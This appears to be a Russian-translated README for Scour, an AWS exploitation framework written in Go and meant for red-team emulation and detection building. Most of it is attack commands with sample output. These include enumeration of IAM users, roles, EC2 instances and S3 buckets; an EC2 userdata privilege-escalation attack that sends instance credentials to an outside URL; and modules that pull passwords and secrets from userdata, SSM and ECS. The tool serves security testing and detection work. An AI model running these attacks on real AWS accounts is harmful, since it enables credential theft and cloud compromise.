
Модульный фреймворк для эксплуатации AWS для тестирования red team и анализа blue team. Эмулирует шаблоны атак в плоскости управления AWS с уникальным отслеживанием UA для разработки средств обнаружения.
Этот инструмент используется для эмуляции моделей атак внутри плоскости управления AWS. Каждая атака помечается определённым UA для сигнализации синей команде.
Это всё ещё активная работа. **Много багов
Не готово к продакшену
Куда сообщать об ошибках: https://github.com/grines/scour/issues
Поддерживается: grines
Scour — это современный модульный фреймворк для эксплуатации AWS, написанный на Golang, предназначенный для тестирования красных команд и анализа синих команд. Scour содержит современные техники, которые можно использовать для атак на среды или для создания детекций для защиты.
Scour написан на Go, поэтому его легко распространять в виде бинарного файла.
##Загрузка
go get github.com/grines/scour
##Сборка
go build main.go
Для более подробной и удобной инструкции по использованию, пожалуйста, обратитесь к руководству по установке в Wiki. **скоро появится
Scour использует ряд модулей:
При первом запуске Scour,
token profile <profile_name> <region> выведет список доступных профилей AWS, хранящихся в ~/aws/credentials.token AssumeRole <role_name> <region> выполнит принятие роли из той же или другой учётной записи. **требуется активная сессияhelp module выведет соответствующую справочную информацию по указанному модулю. **справка TBDattack evasion <tactic> запустит указанный модуль с параметрами по умолчанию.scour войдёт в режим CLINot Connected <> token profile apiuser us-east-1 устанавливает сессию для использования в командах, которым она требуется.Connected <apiuser/us-east-1> активно подключено к профилю AWS из (~,/aws/credentials) в (регион)Connected <apiuser/us-east-1> attack enum <attack> автодополнение с перечислением доступных тактик перечисленияConnected <apiuser/us-east-1> attack privesc <attack> автодополнение с перечислением доступных тактик повышения привилегийConnected <apiuser/us-east-1> attack lateral <attack> автодополнение с перечислением доступных тактик горизонтального перемещенияConnected <apiuser/us-east-1> attack evasion <attack> автодополнение с перечислением доступных тактик обходаConnected <apiuser/us-east-1> attack creds <attack> автодополнение с перечислением доступных тактик обнаружения учётных данныхConnected <apiuser/us-east-1> attack execute <attack> автодополнение с перечислением доступных тактик выполнения
Connected <apiuser/us-east-1> attack enum IAM Обнаружение IAM+-------------+---------------------+------------------+---------------+--------------+
| USER | MANAGED POLICIES | INLINE POLICIES | GROUPS | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true |
| EC2 | AmazonEC2FullAccess | | | true |
+-------------+---------------------+------------------+---------------+--------------+
Connected <apiuser/us-east-1> attack enum Roles Обнаружение ролейUA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| ROLE | PRINCIPAL TYPE | IDENTITY/SERVICE | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m | AWS | [arn:aws:iam::861******:root | true |
| | | codebuild.amazonaws.com] | |
| Amazon_CodeBuild_f2DOFPjMHK | Service | [codebuild.amazonaws.com] | true |
| Amazon_CodeBuild_HS59ko7lxn | Service | [codebuild.amazonaws.com] | true |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
Connected <apiuser/us-east-1> attack enum EC2 Обнаружение EC2UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| INSTANCEID | INSTANCE PROFILE | VPC | PUBLICIP | PRIVATEIP | SECURITY GROUPS | PORTS | STATE | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None | vpc-7e830c1a | None | 172.31.53.199 | sg-09fcd28717cf4f512 | 80* | stopped | false | true |
| | | | | | | 22* | | | |
| | | | | | | 5000* | | | |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.45.96 | sg-61b1fd07 | All* | stopped | true | true |
| | | | | | | 8888* | | | |
| i-01b265a5fdc45df57 | None | vpc-7e830c1a | None | 172.31.38.118 | sg-0392f752f9b849d3f | 3389* | stopped | false | true |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.39.199 | sg-006543a34d2f70028 | 22* | stopped | true | true |
| i-0d95790b5e7ddff23 | None | vpc-7e830c1a | None | 172.31.12.57 | sg-e1a50dac | 33391* | stopped | false | true |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
Connected <apiuser/us-east-1> attack enum S3 Обнаружение S3UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| BUCKET | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION | REGION |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a | false | false | false | | false | | false | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true | false | false | | false | | false | |
| bullsecu********* | true | true | false | | false | | false | |
| connect-6ec*****ad67 | false | false | false | | false | | false | |
| connect-******5337c3 | false | false | false | | false | | false | |
| ransom******** | true | false | false | | false | | false | |
| red******** | false | false | false | | false | | false | |
| rep-***** | false | false | false | | false | | false | us-west-2 |
| terraform******* | false | false | false | | false | | false | |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
Connected <apiuser/us-east-1> attack enum Groups Обнаружение группUA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| GROUP | POLICIES | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2 | SecurityAudit | false | | false |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 | | false | | false |
| TestGroup | AmazonEC2FullAccess | true | | false |
| | SecurityAudit | | | |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
Connected <apiuser/us-east-1> attack enum Network Обнаружение сетиTBD

Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data украсть учётные данные из метаданных EC2. Остановить экземпляр / Обновить userdata для отправки учётных данных на указанный URL / Запустить экземпляр (отправляет токен EC2 на URL.)[Sun May 9 06:10:16 2021] INF Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May 9 06:10:46 2021] INF Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May 9 06:10:47 2021] INF Starting Instance i-0f5604708c0b51429 - State: pending

Connected <apiuser/us-east-1> attack creds UserData извлечь учётные данные из userdata EC2UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
| INSTANCEID | RULE | FINDING |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword |
+---------------------+------------------+-------------------------------------------------------------------------------+
Connected <apiuser/us-east-1> attack creds SSM извлечь учётные данные из Systems ManagerUA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE | VALUE |
+------------+----------+----------------------+
| Test | text | thismightbeapassword |
+------------+----------+----------------------+
Connected <apiuser/us-east-1> attack creds ECS извлечь учётные данные из ECSUA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret | heere | sample-app |
+-------------+-------+------------+
Connected <apiuser/us-east-1> attack persist <attack> автодополнение с перечислением доступных тактик постоянстваConnected <apiuser/us-east-1> attack exfil <attack> автодополнение с перечислением доступных тактик эксфильтрации